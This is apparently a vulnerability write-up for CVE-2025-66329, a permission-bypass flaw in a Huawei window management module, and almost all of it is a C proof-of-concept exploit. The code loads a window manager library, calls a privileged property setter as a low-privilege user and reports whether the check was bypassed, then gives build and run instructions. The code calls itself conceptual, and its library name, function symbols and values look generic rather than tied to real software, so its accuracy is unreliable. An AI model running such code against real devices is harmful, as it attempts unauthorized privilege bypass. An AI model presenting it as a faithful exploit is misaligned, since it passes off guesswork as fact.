CVE-2025-66329: 华为窗口管理模块权限控制漏洞

// CVE-2025-66329 PoC - Window Management Module Permission Bypass // This is a conceptual PoC demonstrating the vulnerability // Environment: Huawei device with vulnerable window management module #include <stdio.h> #include <stdlib.h> #include <dlfcn.h> // Window management function pointers typedef int (*window_create_t)(const char* name, int flags); typedef int (*window_destroy_t)(int window_id); typedef int (*window_set_property_t)(int window_id, int property, void* value); int main() { void* handle = dlopen("libwindow_manager.so", RTLD_NOW); if (!handle) { printf("[-] Failed to load window manager library\n"); return 1; } // Load vulnerable functions window_create_t create_window = (window_create_t)dlsym(handle, "Window_Create"); window_set_property_t set_property = (window_set_property_t)dlsym(handle, "Window_SetProperty"); if (!create_window || !set_property) { printf("[-] Failed to resolve function symbols\n"); return 1; } printf("[+] Creating test window...\n"); int window_id = create_window("test_window", 0); if (window_id < 0) { printf("[-] Window creation failed\n"); return 1; } printf("[+] Attempting privileged window operation as low-privilege user...\n"); // Exploit: Bypass permission check for privileged operations int result = set_property(window_id, 0x1001, (void*)0xFFFFFFFF); if (result == 0) { printf("[+] VULNERABLE: Permission check bypassed successfully!\n"); printf("[+] Availability impact: Low (A:L)\n"); } else { printf("[-] PATCHED: Operation blocked by proper access control\n"); } dlclose(handle); return 0; } // Usage: gcc -o poc poc.c -ldl // Run as low-privilege user on vulnerable Huawei device
